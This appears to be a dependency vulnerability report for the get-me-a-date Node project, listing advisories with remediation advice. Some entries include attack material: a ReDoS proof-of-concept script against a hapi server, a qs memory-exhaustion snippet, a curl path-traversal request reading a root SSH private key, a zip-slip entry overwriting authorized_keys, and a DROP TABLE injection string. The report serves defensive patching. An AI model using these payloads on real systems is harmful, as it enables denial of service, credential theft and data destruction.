Vulnerabilities

124 via 347 paths

Dependencies

379

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Severity
  • 4
  • 62
  • 51
  • 7
Status
  • 124
  • 0
  • 0

critical severity

Heap-based Buffer Overflow

  • Vulnerable module: sharp
  • Introduced through: sharp@0.27.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sharp@0.27.2
    Remediation: Upgrade to sharp@0.32.6.

Overview

sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images

Affected versions of this package are vulnerable to Heap-based Buffer Overflow when the ReadHuffmanCodes() function is used. An attacker can craft a special WebP lossless file that triggers the ReadHuffmanCodes() function to allocate the HuffmanCode buffer with a size that comes from an array of precomputed sizes: kTableSize. The color_cache_bits value defines which size to use. The kTableSize array only takes into account sizes for 8-bit first-level table lookups but not second-level table lookups. libwebp allows codes that are up to 15-bit (MAX_ALLOWED_CODE_LENGTH). When BuildHuffmanTable() attempts to fill the second-level tables it may write data out-of-bounds. The OOB write to the undersized array happens in ReplicateValue.

Notes:

This is only exploitable if the color_cache_bits value defines which size to use.

This vulnerability was also published on libwebp CVE-2023-5129

Changelog:

2023-09-12: Initial advisory publication

2023-09-27: Advisory details updated, including CVSS, references

2023-09-27: CVE-2023-5129 rejected as a duplicate of CVE-2023-4863

2023-09-28: Research and addition of additional affected libraries

2024-01-28: Additional fix information

Remediation

Upgrade sharp to version 0.32.6 or higher.

References

critical severity

Predictable Value Range from Previous Values

  • Vulnerable module: form-data
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › request@2.88.2 › form-data@2.3.3
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › request@2.88.2 › form-data@2.3.3
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › request@2.88.2 › form-data@2.3.3
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › request@2.88.2 › form-data@2.3.3
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › request@2.88.2 › form-data@2.3.3

Overview

Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.

Remediation

Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: sequelize
  • Introduced through: sequelize@5.21.13

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sequelize@5.21.13
    Remediation: Upgrade to sequelize@6.19.1.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection via the replacements statement. It allowed a malicious actor to pass dangerous values such as OR true; DROP TABLE users through replacements which would result in arbitrary SQL execution.

Remediation

Upgrade sequelize to version 6.19.1 or higher.

References

critical severity

Use of Weak Hash

  • Vulnerable module: @angular/common
  • Introduced through: @angular/common@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/common@4.4.4
    Remediation: Upgrade to @angular/common@20.3.25.

Overview

Affected versions of this package are vulnerable to Use of Weak Hash due to the use of a weak 32-bit hash in the HttpTransferCache. When a victim visits a crafted link containing the colliding parameter, the SSR process executes both the search request and the profile request. Due to the hash collision, the search response overwrites the profile response in the TransferState cache.

Workaround

This vulnerability can be mitigated by configuring HTTP requests to skip transfer caching for sensitive endpoints or by disabling the HTTP transfer cache globally in the application bootstrap configuration.

Remediation

Upgrade @angular/common to version 20.3.25, 21.2.17, 22.0.1 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: sharp
  • Introduced through: sharp@0.27.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sharp@0.27.2
    Remediation: Upgrade to sharp@0.35.4.

Overview

sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the VipsForeignLoadHeif process. An attacker can execute arbitrary code by providing specially crafted AVIF images as input.

Workaround

This vulnerability can be mitigated by blocking the decoding of AVIF images using the configuration sharp.block({ operation: ["VipsForeignLoadHeif"] }); and by ensuring the Node.js executable is compiled as a Position Independent Executable (PIE).

Remediation

Upgrade sharp to version 0.35.4 or higher.

References

high severity

Use After Free

  • Vulnerable module: sharp
  • Introduced through: sharp@0.27.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sharp@0.27.2
    Remediation: Upgrade to sharp@0.35.5.

Overview

sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images

Affected versions of this package are vulnerable to Use After Free in entity_insert() and the entity map held on XmlState, which is shared between the outer parse and a recursive XInclude, so inserting an entity whose name already exists replaces the first entry and its Drop implementation calls xmlFreeNode() while the outer xmlCtxtParseEntity() is still using that 144 byte xmlEntity. An attacker can corrupt process memory by supplying an SVG document whose xi:include pulls in another document redefining an entity that is already active. This requires the application to parse attacker supplied SVG with XInclude processing reached, and the entity names must collide across the outer document and the included one.

Remediation

Upgrade sharp to version 0.35.5 or higher.

References

high severity

Use After Free

  • Vulnerable module: sharp
  • Introduced through: sharp@0.27.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sharp@0.27.2
    Remediation: Upgrade to sharp@0.35.5.

Overview

sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images

Affected versions of this package are vulnerable to Use After Free via a memory-related vulnerability in the bundled librsvg dependency. An attacker can supply an SVG image that, when decoded through librsvg, triggers the memory corruption and results in arbitrary code execution on glibc-based Linux systems.

Note: This is only exploitable when the node executable is not compiled as a Position Independent Executable (PIE); the official Node.js binaries do not use this hardening feature, making them susceptible.

Remediation

Upgrade sharp to version 0.35.5 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: @hapi/content
  • Introduced through: serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/hapi@19.2.0 › @hapi/subtext@7.1.0 › @hapi/content@5.0.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/hapi@19.2.0 › @hapi/subtext@7.1.0 › @hapi/pez@5.1.0 › @hapi/content@5.0.2

Overview

@hapi/content is a HTTP Content-* headers parsing

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the Content-Type and Content-Disposition header parsing. An attacker can cause the application to become unresponsive by sending a single HTTP request containing a maliciously crafted header value.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade @hapi/content to version 6.0.1 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: @hapi/content
  • Introduced through: serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/hapi@19.2.0 › @hapi/subtext@7.1.0 › @hapi/content@5.0.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/hapi@19.2.0 › @hapi/subtext@7.1.0 › @hapi/pez@5.1.0 › @hapi/content@5.0.2

Overview

@hapi/content is a HTTP Content-* headers parsing

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the internals.contentDispositionParamRegex regular expression in lib/index.js, used by the disposition function when parsing Content-Disposition headers. The regex's trailing alternative causes the global scan to retry from every character of a name token that is not followed by =, resulting in quadratic backtracking. An attacker can send a request with a malformed Content-Disposition header to trigger catastrophic backtracking and crash the process.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade @hapi/content to version 6.0.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: @hapi/content
  • Introduced through: serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/hapi@19.2.0 › @hapi/subtext@7.1.0 › @hapi/content@5.0.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/hapi@19.2.0 › @hapi/subtext@7.1.0 › @hapi/pez@5.1.0 › @hapi/content@5.0.2

Overview

@hapi/content is a HTTP Content-* headers parsing

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via internals.contentDispositionParamRegex in lib/index.js when parsing a Content-Disposition header containing a long token that is not followed by an = sign. The global regex scan retries from every character of the unmatched token and backtracks quadratically, allowing an attacker to send a multipart request with a large unassigned name token in the Content-Disposition header to block the server's event loop for hundreds of seconds.

PoC

Install @hapi/hapi with @hapi/content 6.0.2, then run:

const Hapi = require('@hapi/hapi');
const Net = require('net');

const attack = (port, n) => new Promise((resolve) => {

    const body = `--x\r\nContent-Disposition: form-data; name="f"; ${'a'.repeat(n)}\r\n\r\nv\r\n--x--\r\n`;
    const req = `POST /upload HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: multipart/form-data; boundary=x\r\nContent-Length: ${Buffer.byteLength(body)}\r\nConnection: close\r\n\r\n${body}`;
    const start = process.hrtime.bigint();
    let res = '';
    const socket = Net.connect(port, '127.0.0.1', () => socket.write(req));
    socket.on('data', (chunk) => res += chunk);
    socket.on('close', () => resolve(`${n} byte token  HTTP ${res.split(' ')[1]}  ${(Number(process.hrtime.bigint() - start) / 1e9).toFixed(3)} s`));
});

(async () => {

    const server = Hapi.server({ host: '127.0.0.1', port: 7001 });
    server.route({
        method: 'POST',
        path: '/upload',
        options: {
            auth: false,
            payload: { multipart: { output: 'data' }, parse: true }
        },
        handler: () => ({ ok: true })
    });

    await server.start();
    for (const n of [32000, 64000, 128000]) {
        console.log(await attack(7001, n));
    }

    await server.stop();
})();

With @hapi/content 6.0.2, the time increases by approximately four for each doubling of the token. During each request, the server does not answer other clients:

32000 byte token  HTTP 200  0.424 s
64000 byte token  HTTP 200  1.670 s
128000 byte token  HTTP 200  7.173 s

The reporter measured 542 seconds for a token of 1,024,000 bytes, which is near the default payload.maxBytes.

With @hapi/content 6.0.3:

32000 byte token  HTTP 200  0.011 s
64000 byte token  HTTP 200  0.003 s
128000 byte token  HTTP 200  0.004 s
1024000 byte token  HTTP 200  0.013 s

Note: The PoC targets @hapi/hapi with @hapi/content 6.0.2 running on Node.js, with no operating system or non-default configuration stated beyond enabling multipart payload parsing.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade @hapi/content to version 6.0.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: @hapi/joi
  • Introduced through: serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/joi@17.1.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/hapi@19.2.0 › @hapi/joi@17.1.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › hapi-pagination@4.0.0 › @hapi/joi@17.1.1

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the email validation rule when its multiple option is enabled. An attacker can block the Node.js event loop by submitting a long run of whitespace with no separator to a field validated with Joi.string().email({ multiple: true }), because the value is split with a regex whose leading \s* is retried from each position inside a whitespace run and backtracks through the rest of it, costing n squared steps for n whitespace characters. This is reached only when the application validates untrusted input with the multiple email option and applies no length limit before the email rule runs.

Workaround

This vulnerability can be avoided by placing a .max() constraint before .email(), for example Joi.string().max(1000).email({ multiple: true }), and by not using abortEarly: false with that schema, since that option runs the email rule even after the max check has failed. A .trim() does not help, because it removes only leading and trailing whitespace, not an interior run.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for @hapi/joi.

References

high severity

Insufficiently Protected Credentials

  • Vulnerable module: @hapi/wreck
  • Introduced through: serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › @hapi/hapi@19.2.0 › @hapi/subtext@7.1.0 › @hapi/wreck@17.2.0

Overview

@hapi/wreck is a HTTP Client Utilities library.

Affected versions of this package are vulnerable to Insufficiently Protected Credentials due to the improper origin validation in the cross-origin redirect handling. An attacker can obtain sensitive credential headers by crafting cross-port or cross-scheme redirects, enabling interception of bearer tokens, session cookies, or proxy credentials.

Workaround

This vulnerability can be mitigated by setting redirects: 0 and handling redirects manually with a strict origin check, or by using the beforeRedirect hook to inspect the redirect target and abort or strip sensitive headers before the follow-on request.

Remediation

Upgrade @hapi/wreck to version 18.1.2 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: moment
  • Introduced through: moment@2.29.1 and modern-logger@1.5.86

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › moment@2.29.1
    Remediation: Upgrade to moment@2.31.0.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › modern-logger@1.5.86 › moment@2.29.1

Overview

moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.

Affected versions of this package are vulnerable to Directory Traversal in the locale() function, whose locale name validation is circumvented by a non-string value, so an object can direct the load to an attacker-specified path. An attacker can cause a file to be loaded from a path of their choosing by supplying a non-string value that the application passes to moment.locale(). This requires the application to hand user-supplied non-string input directly to moment.locale(), plain strings are unaffected because the existing validation rejects those containing path separators, and only server-side npm consumers are in scope.

Note: This is a bypass of the fix for the vulnerability described in CVE-2022-24785.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade moment to version 2.31.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: qs
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › request@2.88.2 › qs@6.5.5
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › request@2.88.2 › qs@6.5.5
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › request@2.88.2 › qs@6.5.5
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › request@2.88.2 › qs@6.5.5
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › request@2.88.2 › qs@6.5.5

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.

PoC


const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Remediation

Upgrade qs to version 6.14.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as src/extract.ts. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.

Remediation

Upgrade tar to version 7.5.19 or higher.

References

high severity
new

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via decompression without backpressure in src/parse.ts (locations 576-577, 551-555, 343) and unbounded queuing of zero-size entries. When reading from a compressed archive, each input chunk is inflated synchronously and its output is buffered in a paused ReadEntry without any backpressure, so memory consumption is not bounded as long as the total decompressed size stays within the maxDecompressionRatio limit. In the same write path, zero-size entries are queued without limit, compounding the unbounded memory growth. A service that extracts or lists untrusted compressed archives can be forced to consume far more memory than the archive's compressed size implies.

PoC

`exploit_tests/test_vuln_008_*` and `_011_` measure memory for a control archive and an attack archive against the unmodified 7.5.22 build. Output is in `exploit_tests/evidence/`. The tests were run on macOS.

Note: Tests were run on macOS against the unmodified 7.5.22 build.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity

Infinite loop

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Infinite loop via the replace method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.

Remediation

Upgrade tar to version 7.5.18 or higher.

References

high severity

Infinite loop

  • Vulnerable module: uri-js
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
